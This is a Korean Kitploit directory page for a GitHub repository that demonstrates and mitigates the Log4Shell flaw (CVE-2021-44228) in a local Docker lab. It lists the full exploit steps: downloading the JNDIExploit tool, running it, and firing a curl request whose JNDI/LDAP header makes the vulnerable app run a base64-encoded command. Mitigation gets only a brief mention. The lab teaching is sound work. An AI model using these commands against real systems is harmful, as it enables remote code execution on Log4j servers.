Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Log4Shell — 이 저장소는 Log4j 2021(CVE-2021-44228) 취약점 시연 및 완화를 위한 것입니다. | Kitploit
도구/GitHubGitHub/feryaeljustice/log4shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubferyaeljustice/log4shell

Log4Shell

이 저장소는 Log4j 2021(CVE-2021-44228) 취약점 시연 및 완화를 위한 것입니다.

저장소 보기
4년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4Shell

이 저장소는 Log4j 2021(CVE-2021-44228) 취약점 시연 및 완화를 위한 것입니다.

Log4Shell이란 무엇인가?

CVE-2021-44228 / Log4Shell 취약점은 취약한 소프트웨어에 악성 페이로드를 주입하여, Log4J가 JNDI와 LDAP 프로토콜을 통해 제3자 소스에서 값을 가져오도록 요청하게 만드는 것입니다. ... 가져온 데이터는 코드일 수 있으며, 해당 코드는 시스템에서 Log4J에 의해 실행됩니다.

개념 증명 (비디오 튜토리얼)

  1. 우리는 Docker에서 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 실행합니다. 이 애플리케이션은 @christophetd가 Log4Shell이라고 명명했습니다. 이 애플리케이션은 Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1을 통해)과 JDK 1.8.0_181을 사용합니다. docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app Log4Shell_1 Log4Shell_2

  2. 이 경우 웹 아카이브에서 Log4Shell용 JNDI Exploit을 다운로드하지만, 사용 가능한 곳 어디에서든 다운로드할 수 있습니다. wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip

Log4Shell_3
Log4Shell_4
  • Log4Shell 애플리케이션의 Docker를 실행 중인 우리 머신의 IP 주소를 확인합니다. ifconfig Log4Shell_IP

  • Log4Shell용 JNDI Exploit이 포함된 zip 파일의 압축을 풀어 JAR 파일을 얻은 다음, 3단계에서 얻은 우리 IP를 지정하여 실행합니다.

  • root@kitploit:~
    unzip JNDIExploit.v1.2.zip
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
    

    Log4Shell_5

    1. 그런 다음, 다음을 사용하여 익스플로잇을 트리거합니다: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' Log4Shell_6
    • 우리 머신에 JNDI 연결이 이루어졌으며, Log4J가 실행한 코드를 확인할 수 있습니다. Log4Shell_7
    1. 코드 실행이 성공했는지 확인하려면, 취약한 애플리케이션이 실행 중인 컨테이너에 /tmp/pwned.txt 파일이 생성되었는지 확인합니다. docker exec vulnerable-app ls /tmp Log4Shell_8

    완화

    Windows 및 Linux에서 Log4Shell 취약점을 완화하는 방법에 대한 비디오: 완화

    Linux에서의 완화 (예시 이미지)

    완화

    작성자

    Feryael Justice 2022

    도구 다운로드